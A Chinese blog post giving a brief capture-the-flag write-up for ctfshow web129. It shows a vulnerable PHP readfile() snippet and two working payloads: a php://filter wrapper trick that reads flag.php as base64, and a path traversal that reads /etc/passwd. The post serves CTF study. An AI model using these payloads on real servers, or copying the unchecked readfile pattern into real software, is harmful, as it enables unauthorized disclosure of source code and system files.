首页 > 其他分享 >ctfshow web129(目录穿越)

ctfshow web129(目录穿越)

时间:2022-10-19 20:47:30浏览次数:56  
标签:.. GET ctfshow web129 php 穿越

if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

用php伪协议绕过,filter伪协议支持多种编码方式,无效的就被忽略掉了。

payload:?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

 

 

也可以利用目录穿越。

?f=./ctfshow/../../../../../../etc/passwd

 

标签:..,GET,ctfshow,web129,php,穿越
From: https://www.cnblogs.com/meng-han/p/16807669.html

相关文章

  • ctfshow web128(_()函数,php_gettext.dll)
     _()是一个函数_()==gettext()是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dllget_defined_vars()函数get_defined_vars—返回由所有已定......
  • ctfshow CRYPTO RSA系列
    ctfshowCRYPTORSA系列目录ctfshowCRYPTORSA系列babyRSA分析解题esayrsa1分析解题esayrsa2分析解题esayrsa3分析共模攻击解题babyRSA题目:e=65537p=10404683571......
  • ctfshow web112(伪协议绕过is_file函数)
    $file=$_GET['file'];if(!is_file($file)){highlight_file(filter($file));}else{echo"hacker!";}这里的is_file函数,在使用php的伪协议时候会返回false,除......
  • ctfshow web111(变量覆盖+PHP超全局变量)
    functiongetFlag(&$v1,&$v2){eval("$$v1=&$$v2;");var_dump($$v1);}if(isset($_GET['v1'])&&isset($_GET['v2'])){$v1=$_GET['v1'];$v2=......
  • ctfshow web110(php读取文件内置类)
    <?php/*#-*-coding:utf-8-*-#@Author:h1xa#@Date:2020-09-1611:25:09#@LastModifiedby:h1xa#@LastModifiedtime:2020-09-2922:49:10*/h......
  • ctfshow web105($$变量覆盖)
    <?php/*#-*-coding:utf-8-*-#@Author:Firebasky#@Date:2020-09-1611:25:09#@LastModifiedby:h1xa#@LastModifiedtime:2020-09-2822:34:07*......
  • ctfshow web101(反射类Reflectionclass的使用)
    <?php/*#-*-coding:utf-8-*-#@Author:h1xa#@Date:2020-09-1611:25:09#@LastModifiedby:h1xa#@LastModifiedtime:2020-09-2200:26:48#@link......
  • ctfshow web99(in_array函数漏洞)
    <?phphighlight_file(__FILE__);$allow=array();//设置为数组for($i=36;$i<0x36d;$i++){array_push($allow,rand(1,$i));//向数组里面插入随机数}if(isset......
  • ctfshow-crypto
    密码学签到}wohs.ftc{galf是倒叙,将字符串逆序就行crypto2打开浏览器进入查看,复制粘贴到控制台直接回车flag就会出现crypto3同上一样crypto4用py写一个crypto5同上crypto6打......
  • ctfshow文件上传总结
    简单总结下 文件上传前端限制绕过:抓包修改对应项即可,不过本人更习惯上传一个符合要求的文件,然后抓包后只修改后缀名,看看能不能上传成功文件上传后端限制绕过:一般都是检......